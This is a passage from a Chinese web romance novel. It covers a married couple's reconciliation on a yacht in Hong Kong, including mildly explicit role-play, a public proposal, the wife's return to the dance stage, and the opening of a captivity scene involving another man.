更是躲闪不已。 周绾宁当没看见他, 伸手扶起那个还在道歉的男模,让他坐在自己的身旁。 谢温言上前一步,对准那男模,抬了抬下巴, 示意让他离开。 男模很显然不知道眼前的人是谢温言,一副“今夜他是正宫”的姿态,询问周绾宁:“宝宝, 他是谁?” 周绾宁愣了下。 “宝宝”? 就连谢温言也没那么亲昵地喊过她。 周绾宁浑身一个激灵,但仍旧面不改色地应下:“他啊?可能是和你一样,特意来勾引我的。” 男模立马危机感起来,向谢温言宣战:“今天宝宝是我的,你找其他人去吧。” 谢温言低头笑了笑, 用嘴型对周绾宁说了个过来。 周绾宁当没看见,还在对着男模美美地笑。 这一刻,谢温言似乎忍到了无可奈何的地步, 朝后使了个眼色。 跟在他身后的保镖过来,将男模直接架走。 谢温言居高临下地看着周绾宁,没有说一句话,但身上daddy的气息倒是溢了出来。 这种daddy的气息,不是那种老成与稳重,而是她不乖乖听话就要被他打屁屁的那种M感。 周绾宁忍着要落荒而逃的心慌,交叠着腿坐在沙发上。 谢温言目光下移,看到她白皙修长 ?????? 的两条腿,明晃晃地亮在外面。 这裙子是她衣柜里从未有过的短,至少之前谢温言没看见过这么短的。 他知道自己这次回来要哄她,也知道她肯定不会很乖地等他过来哄她。 但没想到她的不乖…… 是现在这种不乖? 谢温言盛怒下,倒是隐含着一抹玩味。 以前觉得绾宁是小太阳,后来觉得她是一朵淡淡的栀子花,没想到现在才发现她野起来倒是能辣手摧花。 倒有点让他觉得想探索更深的她,认出周绾宁的所有底色。 随着谢温言审视越来越浓重。 周绾宁的心没来由的一慌。 她拿起酒瓶给自己倒了一杯,灯光混着威士忌的眼色,倒是显得有些迷醉。 她喝了一口,就在她要喝第二口的时候,谢温言夺过她手中的杯子,看着上面的口红印,转动到自己这边,就着她喝过的地方也喝了一口。 这举动明明是再正常不过的。 但周绾宁看着他此刻的眼神,却已经预感到他会把自己怎么……糙亖。 她站起身要离开,走了两步被拽住手。 “怎么,我过来,影响你欣赏男模了?” 谢温言微微一笑,温文儒雅,金丝框眼镜下的一双漆黑眼神却是冷得可怕。 “没有,只是想去个洗手间。”她装作气定神闲,“你把我男模赶走了,自然该你陪我了。” 得到这个回答,谢温言稍有些满意地点点头,而后示意一旁的林晗跟着去。 林晗为了不丢掉工作,连忙乖巧地跟着周绾宁前往卫生间。 直到五分钟后,她火急火燎地跑回来,一包情况:“那个总裁,绾宁姐她……从后门跑了。” 谢温言气笑。 他站起身,循着林晗的指示,沉下面色去追。 刚跑到空阔的大马路上,就见到周绾宁已经站在双层巴士上,朝他们笑容恣意地挥挥手,说了句:“拜拜~”好似挣脱了麻烦。 谢温言气笑,拿出手机给她打电话。 周绾宁接了。 他哑着声音,听不出一点怒意:“看来,是要玩……追逃的戏码。好,陪你。” “但捉到了,你就死定了。” 这时,双层巴士开始启动,周绾宁做了个鬼脸。 谢温言指示一旁的裴特助去开车。 * 双层巴士上,周绾宁感受着夜风的吹拂,享受着独自一人的宁静。 她的眸光里充斥着港城的灯红酒绿,再有几站就到维多利港旁的尖沙咀码头,那里停着她的游艇。 她也不知道自己为什么要跑掉,大概是很生气谢温言把自己丢下,所以也想让他尝尝这个滋味。 不久后,车在一个站点停靠。 周绾宁还是怕被谢温言追上,准备从这个站点下,然后打车去码头。 未料,刚走到楼梯口,就听到观光车的台阶处传来沉沉的脚步声。 那脚步声的熟悉感,让她下意识往后退去,果然是谢温言上来了。 楼下,司机见无人下车,将车重新启动。 周绾宁本就往后退着走,车又突然启动,导致她没站稳要摔下。谢温言及时伸手过来,将她整个捞进怀里。 周绾宁挣扎了下,想要远离他。 不仅是因为还在生气,还有一部分是害怕。 笑话,在夜店里那么挑衅他,她心里有数的,今晚不太好过。 有可能是要大吵一架,也可能是被大do一场…… 但谢温言一言不发,只是手掌紧紧箍着她的腰:“乖一些,我陪你坐到站。” 随即,他用宽大的手掌包裹住她,带她坐在车前,感受着鲜咸的海风吹拂。 他一言不发,周绾宁也不说话。 这种宁静的和谐倒也让人向往。 直到快要到尖沙咀码头,周绾宁下意识想收回自己的手。 这时,谢温言紧紧握住她的手,眼神看来,带着明显的侵略性。 “宝宝。”两个字从他嘴里出来,差点让周绾宁炸了。 果然,刚刚的风平浪静都是假的。 “怎么了?” “不是要我陪你吗?”谢温言的目光移到她的双唇,伸手轻轻把她嘴唇上的口红抹匀,“宝宝把我丢下,是什么意思。” 周绾宁起身要走,但被谢温言按在了他的双膝上。 他的目光落在她的长腿上,手也轻轻抚过,所过之处带起一阵又一阵的战栗。 周绾宁想要把他的手拿下去,但谢温言很强势,眼神里的固执让人不敢反对。 她只能顺着哄他:“哥哥生气了?”说话间,还凑过去用唇够他。 谢温言追随过去亲她,几次触及又被躲开。 直到车停下,周绾宁趁他沉醉若即若离当中,立马从他身上起来往一楼逃离。 但车门打开,门口已经等着了裴特助他们。 裴特助摊手,无奈一笑。 周绾宁转身看楼梯下来的谢温言,刚要说什么,他一边过来一边弯腰将她扛起,带下双层巴士。 “谢温言,你放我下来,头晕啊。” 谢温言压根不理,明明是扛着一个人,却像是走T台那样轻松随意。 最后,他把她放进一旁的老式敞篷车里,让裴特助开车。 “你这是绑架!谢温言,放开我。” 后座,周绾宁被钳制住。 谢温言也不废话,扯下自己的领带,直接对着她的手缠了两圈、绑紧,一本正经:“这才叫绑架。” 周绾宁看着深夜的港城街头,就算是想呼救也没办法:“你要带我去哪?” “宝宝不是新买了游艇吗,带我过去参观?” “你确定只是参观?” 周绾宁气笑,“谢温言,你别以为刚刚我在夜店惹你生气了,你想找我算账就可以把之前你把我丢下的事就这么揭过了!不能够!” 谢温言原本看着前方的脸,侧首过来。 沉稳温雅的脸上倒是带着很少窥见的痞气:“所以,绾宁打算处理我?” “你……”周绾宁承认,自己到现在还对谢温言的美貌没有一点抵抗力,她伸手推开他的脸,佯装生气,“别随便勾引人。” 谢温言握住她的手,放在唇前亲了亲。 车到了码头。 谢温言再次把人扛起往她买的游艇走。 被丢在游艇的床上时,周绾宁心脏也开始不平稳起来,手还被束缚着,她只能努力撑起自己朝后缩去。 他自顾自地将身上的西装外套脱掉,随即单膝跪在了地上。 周绾宁愣住,下一秒,谢温言握住她的两只脚踝,将她往床尾拽去,让她坐好。 “你要干什么?” 谢温言将身上的衬衫解开,目光定定地看着周绾宁:“我是来求原谅的,宝宝。” 又听到这个称呼,周绾宁不忍直视:“别这样叫我。” “怎么,只许男模这么叫宝宝?”谢温言活了三十年了,也从未想到自己有一天会跟男模争宠。 周绾宁有点挫败:“别、别这样叫我了。” “宝宝不喜欢吗?” “我……” 谢温言拾起她的手贴着自己的脸颊,亲昵地吻着她的手心, 周绾宁受不了现在他湿漉漉的眼神,看着就好像是要被抛弃的小狗 春鈤。 “宝宝,我可以比男模更……骚。” 说着话,谢温言把周绾宁五指细细地亲吻。 明明是在江边,还有海风吹拂,但是周绾宁感觉全身都热了。 她张嘴呼吸,目光不敢落到谢温言身上。 谢温言不让她转掉目光,上前凑过来将她的腰一箍,让她全身都贴在自己身上。 他的目光落在她一字肩的衣服上,不免觉得好笑:“绾宁,好像在我面前,没有穿过这么清凉?” “谁说没有,比这更清凉的也不是……没有。” 谢温言眸色沉沉:“我记得之前在我禁慾期间,宝宝有发过照片,说要穿给我看,今天是不是该履行承诺了?” “我哪有说要穿给你看,是你强迫我的。”周绾宁矢口否认。 谢温言低头嗤笑:“好,是我强迫的你。你现在有什么怒气都可以对我发泄出来,但是待会儿……”就是我对你发泄了。 后半句话他没有说出口,却成了彼此的心照不宣。 “好,那我们就坦诚布公地谈一次!”周绾宁伸手抵在他的肩头,防止他突然耍无赖。 “嗯,说。”谢温言将她的手从自己的肌肉上拉下,低头亲在她膝盖内侧,一路往上,轻啄慢吻。 “谢温言,以后不许再把我一个人丢在任何一个地方,我不喜欢这种感觉。”说着,之前被丢下的难过盈满她的鼻头。 谢温言亲完,仰头看她:“以后不会再把你丢下,只是我不想你面对那些。” 周绾宁怎么会不知道。 “以后你有什么事都不许瞒着我,不许一个人背负。谢温言我希望我们两个人在一起对抗所有的事情,我不想要我还在努力的时候,你先放弃或先离开,这样会显得我一个人傻傻的。” 谢温言心脏一疼,仰起头亲吻她:“以后不会了,是我没有照顾到你之前的感受。” “那如果时间回到半个月前……” “我还是会那样做。” 周绾宁气笑,伸手狠狠砸了他一下。 “本来是打算不原谅你的。” “嗯,然后呢?”这几个字,谢温言算是问得漫不经心,他的手钻到了薄布里头,刮弄着自己想念了半个月的花。 周绾宁皱着眉头,不过片刻就弓起了腰,最后失力一般用额头抵在了他的肩膀上。 “后来,宋承珉知道你把我一个人丢在港城,跟我说,之前你帮我教训了那些逼我喝酒的人,说他那么多年只看到那一次你近乎挫败的模样。” 谢温言愣了下,手上的速度缓和了下来。 周绾宁也终于能松懈一会儿:“我知道你不想让我面对过去那些不好的事,但我已经不是以前的小姑娘了,我现在可以跟你肩并肩的。” 谢温言仰起头,嘴角勾起:“好,以后我们一起面对风风雨雨。” 周绾宁点点头,双手圈住他的脖颈要亲,但谢温言又幽幽发言: “不过为了表现我道歉的诚意,你可以先做个选择题。” “什么?” “待会是要我温柔地喊你宝宝,还是要我逼你喊daddy?” 第54章 求婚 daddy的“严厉”。(修)…… 谢温言的询问只是情调。 今夜, 他让她体会到了温柔至极以及…… daddy的“严厉”。 洗完一次澡后,周绾宁累得连手都抬不起来, 享受着谢温言细致的照顾。 不知道过了多久,她仰头看着头顶上方摇摇晃晃的吊顶,眼睛里的闪光和泪意还没消散。 她找不见谢温言在哪,直到那儿传来了温润的舔亲,她忍不住一手攥紧月白的枕头,一手去抚他的后脑勺。 “温言……”她克制又渴求。 埋首的人抬起头,用手背擦了擦唇角的露液。 周绾宁眼尾泪汪汪的, 看着他, 目光又来到自己身上。 只见不是一贯的睡袍, 而是…… 几天前明潇的大作成功入选秋冬新款, 将登台米兰时装秀。 她把其中一件纯手工珠宝bra寄了过来。 现在……就在她身上。 眼前这幕的冲击,再加上他肆意的作乱,周绾宁瞬间就到了。 她意识到自己…… 又要洗一遍澡了。 “你、你怎么给我穿这个。” 缓过来后,她伸手捂住脸, 十分不忍直视。 谢温言眼神迷乱,带着一丝眷恋与爱意地亲了亲她的小腹:“我看这bra放在你的行李箱里,就想着看看你穿上的模样。” 周绾宁蹭了蹭他的胳膊, 撒娇:“哥哥,我累了,明天还要回京市。” 谢温言低头亲吻了她的脸颊一口,语气哂笑,眼神里是眷恋:“宝宝, 又叫错了。” 刚刚那次,谢温言展现了自己超绝的吃醋本事。 她让他可以不用再吃醋了,各种亲他表白自己有多爱他。 结果他一点也没顺着她, 对她该怎么欺负就怎么欺负。 但凡是她喊他谢温言又或是老公都已经不管用,他现在只认daddy。 “我不叫。”周绾宁拿起一旁的玩偶盖在自己的脸上,装作什么都看不见。 但谢温言不会放过她的,随着细腻的吻再次落下,潺潺的声音在安谧的码头有着别样的感觉。 越是看不见,声音越是明显。 周绾宁忍不住张嘴,想喊点什么来纾解,但最后还是万分渴求地喊出了daddy。 谢温言坐上来,将她翻了个身。 “现在daddy来跟你算个账。” 周绾宁不解,回首看坐着的他,带着迷惑与嫌弃:“谢温言你跟我在一起,就只是想做我的daddy?” 谢温言气笑,伸手点点她的鼻尖:“我是你爸认证的兄弟,他对我亦师亦友,所以我大你一辈,合情合理。” “哪有这样的……”周绾宁很是不服。 但下一秒,谢温言的掌心从高处落下,不轻不重地拍打在她的臀上,清脆的一声。 不疼,但带来了无尽的酸和麻,还有一丝快意。 羞赧的感觉盈满了周绾宁的心脏,她闭了闭眼,想要忍下所有,但最终还是轻易淌了出来。 谢温言的低笑响起在上方。 “谢温言,讨厌!” “啪叽。” “叫错了,宝宝。” 之后,谢温言或轻或重,将她的屁屁打得有点儿红。 “daddy我错了。” 周绾宁觉得继续这样下去,自己都要被自己臊到了。 “夜店的账刚刚算完了,现在算你逃跑的账。” 周绾宁哼唧了一声,顺着坐起身,攀在他身上,很是委屈:“daddy,不要打了。” “那宝宝要什么?” 从一开始很不适应宝宝这个称呼,到现在一晚上的脱敏,周绾宁已经能很好地适应。 “宝宝要daddy疼。”一句话,周绾宁用气音在他耳边说着,充满了诱。 谢温言闭着眼睛,是一副被蛊惑的神色。 周绾宁亲着他的鼻头,眼神带着可怜:“daddy,快给我好吗?” “我看你是……想要我的命。”谢温言将她压回被子里。 周绾宁感觉到今夜维港里并不平稳,游艇荡了又荡,星河和霓虹灯的光总是不太清晰…… 唯一清晰的是匍匐在她身上,眼睛里爱意分明的谢温言。 * 大约次日天明,周绾宁醒来的时候,看到谢温言睡着的位置上,躺着一条香槟粉的礼服。 她愣了愣,捡起礼服上的卡片。 “穿上它。” 是谢温言的字迹。 周绾宁听话地先去洗漱,再是穿上这身礼服,走出游轮,来到甲板上。 只是刚开门,她就看到晨曦的金光照在这座滨海城市。 海面上波光粼粼的,一切就像是光照金山那样明媚。 而此刻,她的视觉中心,是前方站在甲板上迎风而立、背对自己的人。 他穿着一身白西装,手中拿着一束用金子做的手捧花,而他面前是用粉白的气球做的屏障,一旁还有他们之前拍的婚纱照,是那张只有谢温言独有的照片。 他就这么站在粉白气球的浪漫中,迎着光转过身来。 周绾宁瞬间明白了眼前的这一幕是要干什么。 但她又有点儿觉得是会错了意,所以出去的一小步,都有些犹疑。 随着她走入光明里,一旁等候许久的好友撒下花瓣。 周绾宁愣了下,朝身侧看去,只见明潇、林星禾、林晗她们都在,还有宋承珉、秦怀、贺昱霖他们。 𝑪𝑹 这一刻,她终于意识到自己没猜错。 谢温言大抵是想向自己求婚。 但两人都已经结婚两年了…… 这时,前方的男人踏光走来,每一步都带着坚定。 “宁宁,加油!”明潇对她比心。 林星禾也鼓掌:“走向他吧。” 周绾宁嘴角勾起,鼓足勇气朝谢温言走去。 这七年都是他努力地奔赴向她,那么这已经在幸福里的几步路,就由她亲自踏过去。 几乎是在挨近他的那一刻,谢温言立即伸手将她拉过去,迎着微风低头吻上她的唇,一手箍住她的腰。 明潇立马带头放礼花。 林星禾则过来在她的后脑勺处夹上了和礼服颜色适配的头发。 风将长长的头纱吹拂起来,裹住两个人。 半晌后,周绾宁笑着退开些:“怎么有的人连求婚都还没求,就先亲吻他的新娘啊?” 谢温言低头,耳根子第一次红得不像话。 尤其见一旁的几个好友都在笑话他心急,他也不反驳。 对于周绾宁,他一向是急切的,因为与她错过太多的时间,所以以后的日子,他都只想完全拥有。 但谢温言还是遵守求婚的规矩,半跪下去,仰头看着她,满目都是她。 他掏出一只戒指盒,打开。 戒指是十克拉的,折射着金色的阳光,幻化出的火彩落在了谢温言的白色西装上。 “23岁前,我以为自己从不会为任何一个人心动,但是看到你眉眼弯弯在舞台上询问我可不可以做你的观众,那时我就听到了自己的心跳还能那么快。周绾宁,我希望你能在我的心上跳一辈子的舞,我也愿意用我的余生守护你的热爱,宝宝,愿不愿意再嫁给我一次?” “我们又没离婚。”周绾宁小声嘟囔,“我要说不愿意,今天估计是下不了船了。” 周围听到她小声吐槽的人不免失笑。 “对,你下不了船,也下不了……”谢温言更小声的“威胁”。 周绾宁努努鼻子,最后伸手过去:“看在鸽子蛋的份上,我答应了。” 谢温言失笑,帮她戴到无名指上,随后起身亲吻,更无所顾忌。 港城的路人远远眺望维港那点缀满了粉白气球的游艇,而远处的屏幕上是周绾宁的舞台表演。 而他们求婚视频与两人接吻的视频一路传回了京市。 包括梧桐湾里的桐姨。 周绾宁和谢温言一起吃着回到京市后第二天的早餐,桐姨则正在一旁沙发上休息。 她看着谢温言向周绾宁求婚的视频,颇有些爱不释手,不断说着两人般配的话。 周绾宁被说得害羞了,偶尔抬眸看向谢温言,谢温言也有些忍俊不禁。 没办法,和爱人一起被夸,这是任何人都难以抵御的欢喜吧。 “这视频,以后要留下来,给小少爷或者小姐看。” 周绾宁喝粥的手顿了顿,差点把刚喝进去的一口粥喷出来。 桐姨要是知道谢温言已经结扎了,该…… 她默默将一颗鸡蛋攥在手里,揉搓着,心里则有些后怕谢温言结扎这件事是不是过于草率。 虽然谢温言说过她不需要再看谢家人的说法,但是万一谢老爷子知道他孙子…… 这时,谢温言放下iPad,看着对面正在揉虐鸡蛋的妻子,不免好奇:“怎么了?没胃口?” 周绾宁趁桐姨离开的间隙,将自己心里的话同他说出了口。 谢温言似乎也想说这个话题,他沉默了一会儿,努力组织了语言:“医生说,做完手术后,如果不戴套,还是有概率怀孕,特别是前几次。虽然我已经自己解决过好多次,但没去医院检查过精子活性,我担心一个月前那次……” 周绾宁回答得很坚定:“有了就生下来。” “那你的舞蹈事业?” “那么舞蹈家也没有因为生了孩子就不能登台表演的啊,只要我热爱舞蹈热爱你,没什么是我克服不了的。” 谢温言还是有些焦虑:“可我不想你为了孩子放弃自己的舞蹈事业,我不想你像我妈一样。” “那么谢温言,你会像你爸爸一样吗?” 谢温言认真凝视她,摇摇头。 “那不就得了,跳舞本来就是要家人的支持,只要你支持我跳舞,只要我热爱跳舞,生子后三个月我就能重拾,也是一样的,所以不用焦虑。” 看到向来脆弱的妻子,如今已经是能宽慰自己的存在,谢温言低下头欣慰地笑了笑。 “那好,有了就生下来,没有我们也不焦虑。” 周绾宁不免好奇:“那你是喜欢男孩,还是女孩?” 谢温言吃了一口鱼肉粥,仔细想了想:“按理说你生的,我都该喜欢,但我更喜欢小女孩,小时候其实我挺讨厌小孩子的,吵、烦,但我很喜欢你这个妹妹。” 周绾宁被逗笑。 “那你欺负我欺负得那么熟练?” 谢温言伸手握住她,哄着:“你以后尽管欺负回来,我不会有丝毫怨言。”说着,他给她夹了一片煎蛋,“赶快吃吧,我马上要出差,你下午还要去工作室和他们排练。” 周绾宁努了努鼻子,一脸嫌弃:“嗯……有点吃不下了。” “从刚刚开始,你总共才吃多少点东西?” 谢温言正色起来,“难道是为了三天后在京市文化大剧院表演得更加唯美,又开始压制自己的食欲了?” 他伸手点点周绾宁的鼻头,“好不容易给你养回来的胃,别再给弄坏了。” 周绾宁握住他的手:“哎呀不是,我会好好吃的。”嘴上是这样答应,但桌下的两只脚从拖鞋里钻出来不停地踩他的。 感受到她的小动丿作,谢温言又无奈又好笑,把她吃不完的早餐一一拿过来,大快朵颐。 她还躲着桐姨:“可别让桐姨看见了,以为我觉得她的早餐做得不好吃,伤心。” “那你也在乎一下我,万一哪天我吃胖了,你负责?” 周绾宁笑得甜甜的:“哥哥,你多练练,让我躺在你的肌肉上,好吗?” 谢温言无奈:“好。” 吃完饭。 周绾宁从玄关的礼品袋里取来一只盒子,打开后,只见里面躺着一条暗蓝色花纹的领带。 “这是……”谢温言其实心知肚明,但还是想问她。 “当然是我送你的新婚礼物啊。” 说着,她取出来给他戴上,而后细致又娴熟地打了个结。 闻着老婆身上的馨香,谢温言不免心猿意马。 自从结扎后,他就更有些粘着她,恨不得和她做死在卧室里,一分一秒都不离开她。 他眼神黑了黑,亲了亲她的唇:“这次我去沪市出差,很快就回来,期待三天后你的演出。” “嗯,你一定要坐在第三排看我的表演,那儿的观感效果最好。” “好。” 第55章 纵容 “谢温言不想你,dad…… 谢温言离开的两天都很忙, 等闲下来后,已经是深夜。 他深怕会打扰到已经入睡的周绾宁, 打了视频电话给了桐姨。 桐姨笑着询问:“先生是想夫人了?” “嗯,最近吃得还好吗,我怕她为了明天的表演特意节食。”谢温言拧了拧眉心,金丝框眼镜下的神态,在提及周绾宁的时候,总是格外温柔。 “夫人最近有在好好吃饭。” 镜头里,桐姨看向书房的方向, “这几天夫人在负一楼练完舞蹈都会钻进书房里。” “哦?去书房里干什么?” “一开始, 我以为是夫人想先生您了, 所以待在您平日经常待的地方, 后来发现她在用毛笔写什么东西。” “写什么?” “她一脸神秘兮兮的,不可能告诉我。” “这样,你等她上楼去睡,去书房拍给我看。” “这样不好吧。”桐姨不太敢。 “桐姨, 我和绾宁的幸福靠你了。” 被委以重任的桐姨仔细想了想,点点头。 后来,周绾宁似乎是写累了, 左右转动自己的脖颈,在宣纸上写下最后一个字后,放下毛笔,等着纸张自然晾干。 她转身往外走,准备上楼休息, 却恰好碰见起夜的桐姨。 桐姨一脸慌乱,装作很忙乱的模样。 周绾宁走过去,只是撒娇:“阿姨, 我明早想要吃菜饭粥。” 桐姨立马应承下来,随后念着周绾宁明天晚上要表演,需要早些休息,便让她快点上楼去洗漱。 等周绾宁的身影消失在楼梯平台后,她 ?????? 第一次在这个房子里偷偷摸摸地跑进书房,对着书桌上的纸拍了好久,一一发给了隔着小半个华国的自家先生。 谢温言看到那是古式的书卷,上面摊开来,每一笔都是周绾宁亲手写的……情书。 他嘴角忍不住勾起。 她知道他之前为这些吃醋,所以这是在变着法地哄他。 他会心一笑,打开一旁的皮箱,里面躺着的是他昨天去他母亲常去买舞蹈服的店家那买下的高定。 明天等她表演完送给她。 心里一直想着这个念头,一整个晚上,谢温言都没有怎么睡好。 次日,他开完会,搭上最早一班飞回京市,又急匆匆地让裴特助来接自己赶去京市文化大剧院。 在舞蹈休息室,他见到了盛装打扮的她。 周绾宁正在给自己画口红。 从镜子里窥探到门边的他时,镜子里她的一双眼睛都明亮了许多。 她跑过来扑进他怀里:“谢温言,你真的赶回来了~” 早上听林晗说他们下午要开十个小时的会议时,周绾宁的心都凉了半截。 之前重返舞台,她不知道他在,所以遗憾。 这一次正式登台演出,她希望他明明确确出现在自己面前。 所以此刻看到谢温言出现,她满满的欣喜。 “你十八岁之后的每一次登台演出,你的黑暗先生都不会错过。”谢温言点点她的鼻尖,目光落在她的唇上,忍不住低头去寻。 周绾宁努力仰头去含住他的唇,又咬又啃,急切万分。 谢温言被她像是小猪拱食一样的着急给逗笑,忍不住仰起头躲她的吻,但又享受被她这样张扬的爱意浸染。 周绾宁总算亲到他的双唇。 她看向一旁的镜子,谢温言看着她的一双眼睛里满是爱意。 她搂着他的腰,故作不满:“我怎么感觉谢温言不是很想我?” 谢温言灼热的气息落在她的耳垂上:“谢温言不想你,但daddy很想你。” 一句话,让游艇的那个夜晚全然回到了她的脑海里。 周绾宁脸颊红透。 不过一想到他们两个人的身体,在他们彼此还不算相爱的时候,就已经很爱对方的身体了,她也不扭捏。 现在两个人私下也在探索各种不同的新花样,她还算放得开。 她贴在他耳畔,小声说道:“明潇给我寄了新的款式。” 后面的话不用说,两个人心知肚明。 “好,正好你这次表演完,我们可以好好放纵一下。” 周绾宁害羞地点点头。 谢温言揉揉她的脑袋:“紧张吗?” “按理说是不该紧张的,上次网络直播表演得还不错,这也算是回到我本来该待的地方。”周绾宁深吸一口气,面露一些不自信,“但确实还是会很紧张。” 谢温言安抚道:“别担心,你向来优秀,临场不乱,这次也没问题的。” “我一定会将温璐芸老师、我们妈妈的心血好好表演出来,让大家记住还有这么一位老艺术家为舞蹈艺术做出的贡献。” 谢温言点点头,再次落吻在她双唇。 直到外面的工作人员表示周绾宁即将上场,谢温言才将自己手中的洋甘菊放到她化妆台前的花瓶里,随后离开休息室。 周绾宁回到化妆镜前,看到自己画的唇妆都已经被他蹭掉了,她忍不住失笑,继续补妆。 当夜,红色幕布拉上,舞蹈表演开始。 在场的人不仅关注舞台上的人,也关注观众席第三排那个光是坐着就是大家目光聚焦中心的男人。 下午还见他在沪市某金融机构的收购会上,下午这才多久就到了京舞大剧院。 不愧是被网民们评为京市十大妻宝之一的男人。 商场上再是雷厉风行、举止狠辣的男人,也得来看自己老婆的演出,还得带小蛋糕给老婆表演结束后吃。 这时,音乐声起。 周绾宁曼妙的身形出现在舞台中央。 全场暗下,光影仿佛将整个舞台都只呈现给了他们彼此。 随着初时灵动的音乐,周绾宁所饰演的女生如灵雀一样生动,配合身上的羽毛,仿佛一只刚化形的雀鸟。 等到音乐升起,周绾宁的灵雀化为雀神,初露母性之美,守护着森林里千千万万的鸟类。 在灾难来临前,雀神和万鸟一起高歌雀跃,但恶魔来临,雀神为守护自己的子民甘愿与恶魔同归于尽。 看似是一则雀神守护家园的战斗,但谢温言只看到了无尽的母爱,是他母亲对他的守护。 他母亲留给他的遗物,被周绾宁演绎得很好。 表演结束,谢温言作为此次舞台的投资商,上台为舞蹈演员颁奖。 随着他把奖杯交给她的那一刻,全场响起雷动的掌声。 周绾宁更是爱意明显地踮起脚尖抱住了谢温言,献上自己的吻。 一时间,舞台下方的聚光灯闪烁一片。 以前总是觉得周绾宁一直收敛着对自己的感情,谢温言有嫉妒过被她明媚爱过的周思恒。 但现下,看到她愿意在大庭广众之下给予自己偏爱,谢温言整颗心都像是被春日的和煦给捂热了。 上次在游艇的求婚,已经是他在外人面前的极度放肆宣泄爱意,但这一刻,他只想要全世界都知道。 周绾宁对他绝对不是单向奔赴。 于是谢温言单手搂住她,回了一个爱意极致的深吻。 当晚,登上热搜的不止有周绾宁的舞台表演,有温璐芸名字与她编的舞,还有谢温言与周绾宁在舞台接吻的“世界名画”。 下了舞台后,周绾宁收到了于淼的信息,说是热搜上她和谢温言接吻的那张图片,是她ps的。 她发来了各种比较清晰的p图,周绾宁回了谢谢,还有爱你的表情包。 随后,她把图片保存下来,当做手机屏保。 明潇也发来祝贺:【宝,你真是我的缪斯!虽然我还在遥远的米兰,但我也一直在看着网络直播哦,我根据你的舞姿真的是灵感迸发,画了好几套衣服。以后你和谢温言的□□,就由我承包了!】 直把周绾宁看得哭笑不得。 林星禾则送来了各种花盒,周绾宁离开京市文化大剧院的每一步,都是由这位好朋友铺出来的花路。 两年前的周绾宁,觉得自己这辈子再也不可能重回舞台。 而两年后的周绾宁,在爱意包裹中重新踏回了属于自己的舞台。、 她从花篮里摘下一朵花粉较少的水仙花,由谢温言牵着手,走向不远处等在红毯尽头的劳斯莱斯。 忽的,她看到车旁有一道熟悉的身影,是她的母亲。 赵秋韵也不敢上前,看着她,稍稍鼓了鼓掌,似是在夸奖她刚刚的表演很棒。 周绾宁只是站在原地就这么看着她。 赵秋韵知道,她这个母亲在这几年有多失职,也不敢再向那么幸福的女儿靠近一步。 她在原地踌躇一会儿后,转身离开。 周绾宁只是站在原地,静静地看着母亲的背影渐行渐远。 一切就好像回到了三年前,她离开自己一样。 不过,心境不同了。 那时候是她被抛弃后,无尽的无助与孤独。 但现在,她正站在幸福里看外面的世界人来人往。 “如果想和她说说话……”谢温言在身旁鼓励。 周绾宁看向他,摇摇头:“不用了。”随后她故意搞怪,“谢温言,你是不是我daddy?” 突然来这一遭,谢温言愣了愣,看周围没什么人,大胆承认:“是。” “那daddy是不是该在宁宁走累的时候,背宁宁?” 她凑上去,一脸坏笑。 谢温言被逗得哭笑不得,干脆将她公主抱打横抱起。 “小公主,daddy这就亲自抱你回家。” “从这回梧桐湾?”周绾宁摸摸他的胸肌,“daddy抱着我回梧桐湾的话,怕是半条命都得没了吧,到时候还怎么要宁宁,daddy到时候会不会半途而废,难以举起?” “虽然不是把你抱 ?????? 回梧桐湾,只是想抱你去你的小公寓住一晚,但是……” 谢温言脸色沉下,眼眸里暗悠悠的:“但你现在这么质疑我,daddy很不爽,所以回到家,你就死定了。” 周绾宁立马鼓起自己的脸颊,装作什么也没说。 “想否认?晚了。” 谢温言一路抱着她往六百米外的公寓走。 当夜,周绾宁被翻来覆去的碾压,几次从被子里伸出手想要抓握住空气里的什么,但都是被男人的五指在半空截住。 她到达时,想要紧紧拽着被单,却只是被他的手牢牢掌控。 他还带她玩了一个游戏,但凡能在规定时间内离开他的桎梏,就免受“惩罚”,可惜,她本心不舍得离开他的身,她的身比她的本心还要更粘着他。 几轮下来惨败。 游戏结束后,房间里有些安静,她躲在他怀里有些难过。 “宝宝刚刚热情得不像话。” 谢温言安抚她,用手拍拍她的后背,像是哄孩子似的。 周绾宁更难过了。 刚刚疯狂的时候,是真敞开了疯狂,导致现在平静下来,她才发现刚刚的自己有多么难以启齿。 “丢死人了。” “怎么会?”谢温言贴在她耳边,笑着说道,“宁宁,求爱永远不丢人。” 说完,他一一落吻在她的肩上,极尽疼惜。 周绾宁把玩着他的手,忽然好奇一件事:“谢温言,我们之间是你先喜欢我的吧。” “当然,怎么忽然这样问?” “那当初我和你领证,我只迟到了十分钟,你就凶巴巴地问我是不是不愿意结婚,哪有你这样凶神恶煞求爱的。要不是当初有求于你,就你这样不近人情的资本家,我早就扭头走掉了。” 这话一出场,周绾宁的屁屁被不轻不重挨了一记打。 “那十分钟,是我这辈子最难以度过的十分钟。” 没人知道那天他冷峻严厉的外表下,是一颗被捏紧后高悬起来的心。 他怕她不来,又担心她此次失约的原因。 十分钟里,他内耗了600秒,甚至产生了厌世的情绪。 可在看到她气喘吁吁地赶来时,他知道,他接下来的一辈子都会很幸福了。 周绾宁回过头吻住身上的他。 夜色下,夫妻俩就过去的误会,一一谈话。【你现在阅读的是魔蝎小说 moxiexs】 【正文完】 第56章 夜灯 我们去度蜜月吧。 直到片刻后, 周思恒才将自己的手从周绾宁的愤怒下抽出来。 “咬吧,发泄你的恨意。” 他伸手揉揉周绾宁的发, “无论你对我什么感情,只要我能牵动你,就都是好的。” 周绾宁看了看周围的环境,眼眶泛红:“你为什么会把我带来这?”这里谢温言不一定知道。 她想逃脱还得先弄清楚周围的情况。 “这里自我们来了京市后,承载了我们之间所有美好回忆。”周思恒顺了顺周绾宁的发,“如果不是……我和你将在这里共度余生。” 周绾宁躲开他的触碰。 周思恒发现了她现在对自己的厌恶,手在半空中一僵。 “绾宁?” “周思恒, 既然你说这里有我们美好的回忆, 你就要带着我这样体验吗?” 她举起自己的手, 示意自己手脚上的绑带, 演技高涨,眼神里带着一丝痛意,显得整个人尤为楚楚可怜,“疼……” 周思恒看到她的手上确实红了一圈, 有点儿皮开肉绽的前兆。 他转身出去,寻找到了剪刀,而后折返帮她剪开。 而在他出去的那一会儿里, 周绾宁已经明确了今晚自己只能自救。 他想让她离开京市,离开谢温言,那不能够。 她就是死,也不会离开自己好不容易铸造起来的幸福堡垒里。 如果失去现下的一切幸福,跟要她死也没什么区别。 横竖都是死, 